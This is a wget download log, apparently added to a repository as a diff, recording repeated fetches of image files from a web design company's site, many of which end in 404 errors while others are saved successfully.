+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:24 ERROR 404: Not Found.
+
+--14:28:24--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:25 ERROR 404: Not Found.
+
+--14:28:25--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:25 ERROR 404: Not Found.
+
+--14:28:25--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:25 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:28:53 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:28:53 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:28:53 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:28:53 (11.76 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:28:53 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:53--  http://www.gaslightmedia.com/images/original/vmail.jpg
+           => `./original/vmail.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:53 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:28:54--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:28:54 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:29:35 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:29:35 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:29:35 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   16.28 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:29:35 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:29:35 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/1145470976toolbox.gif
+           => `./original/1145470976toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:35 ERROR 404: Not Found.
+
+--14:29:35--  http://www.gaslightmedia.com/images/original/vmail.jpg
+           => `./original/vmail.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/messageinbottle.jpg
+           => `./original/messageinbottle.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/jacks.jpg
+           => `./original/jacks.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/marbles.jpg
+           => `./original/marbles.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/managed.jpg
+           => `./original/managed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/guyinbed.jpg
+           => `./original/guyinbed.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/magnifyglass.gif
+           => `./original/magnifyglass.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/key.gif
+           => `./original/key.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/approved.gif
+           => `./original/approved.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/bonus.gif
+           => `./original/bonus.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:29:36--  http://www.gaslightmedia.com/images/original/boxes.jpg
+           => `./original/boxes.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:29:36 ERROR 404: Not Found.
+
+--14:30:49--  http://www.gaslightmedia.com/images/original/100207spoon.jpg
+           => `./original/100207spoon.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 117,346 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 43%    2.71 MB/s
+   50K .......... .......... .......... .......... .......... 87%    3.76 MB/s
+  100K .......... ....                                       100%    2.04 MB/s
+
+14:30:49 (2.94 MB/s) - `./original/100207spoon.jpg' saved [117346/117346]
+
+--14:30:49--  http://www.gaslightmedia.com/images/original/100245mackinaw.jpg
+           => `./original/100245mackinaw.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 120,695 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 42%    5.43 MB/s
+   50K .......... .......... .......... .......... .......... 84%    6.10 MB/s
+  100K .......... .......                                    100%    8.72 MB/s
+
+14:30:49 (6.06 MB/s) - `./original/100245mackinaw.jpg' saved [120695/120695]
+
+--14:30:49--  http://www.gaslightmedia.com/images/original/100219diocese.jpg
+           => `./original/100219diocese.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 58,690 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 87%    3.26 MB/s
+   50K .......                                               100%    7.14 MB/s
+
+14:30:49 (3.73 MB/s) - `./original/100219diocese.jpg' saved [58690/58690]
+
+--14:30:49--  http://www.gaslightmedia.com/images/original/100238bayharbor.jpg
+           => `./original/100238bayharbor.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 84,522 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 60%    9.77 MB/s
+   50K .......... .......... .......... ..                   100%   15.89 MB/s
+
+14:30:49 (11.52 MB/s) - `./original/100238bayharbor.jpg' saved [84522/84522]
+
+--14:30:49--  http://www.gaslightmedia.com/images/original/100224northernxheatlh.jpg
+           => `./original/100224northernxheatlh.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 69,381 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 73%    4.44 MB/s
+   50K .......... .......                                    100%   17.34 MB/s
+
+14:30:50 (5.51 MB/s) - `./original/100224northernxheatlh.jpg' saved [69381/69381]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/marshridge.jpg
+           => `./original/marshridge.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 105,460 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 48%    4.07 MB/s
+   50K .......... .......... .......... .......... .......... 97%    9.77 MB/s
+  100K ..                                                    100%    2.92 MB/s
+
+14:30:50 (5.92 MB/s) - `./original/marshridge.jpg' saved [105460/105460]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/tvedten.jpg
+           => `./original/tvedten.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 81,353 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 62%   12.21 MB/s
+   50K .......... .......... .........                       100%    3.59 MB/s
+
+14:30:50 (6.47 MB/s) - `./original/tvedten.jpg' saved [81353/81353]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/rni.jpg
+           => `./original/rni.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 83,117 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 61%   12.21 MB/s
+   50K .......... .......... .......... .                    100%    2.77 MB/s
+
+14:30:50 (5.28 MB/s) - `./original/rni.jpg' saved [83117/83117]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/unipol.jpg
+           => `./original/unipol.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 98,067 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 52%    9.77 MB/s
+   50K .......... .......... .......... .......... .....     100%    5.59 MB/s
+
+14:30:50 (7.19 MB/s) - `./original/unipol.jpg' saved [98067/98067]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/100236skinordic.jpg
+           => `./original/100236skinordic.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 91,030 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 56%    4.07 MB/s
+   50K .......... .......... .......... ........             100%   12.66 MB/s
+
+14:30:50 (5.79 MB/s) - `./original/100236skinordic.jpg' saved [91030/91030]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/975442714marshridge.jpg
+           => `./original/975442714marshridge.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,205 [image/jpeg]
+
+    0K .......                                               100%    6.87 MB/s
+
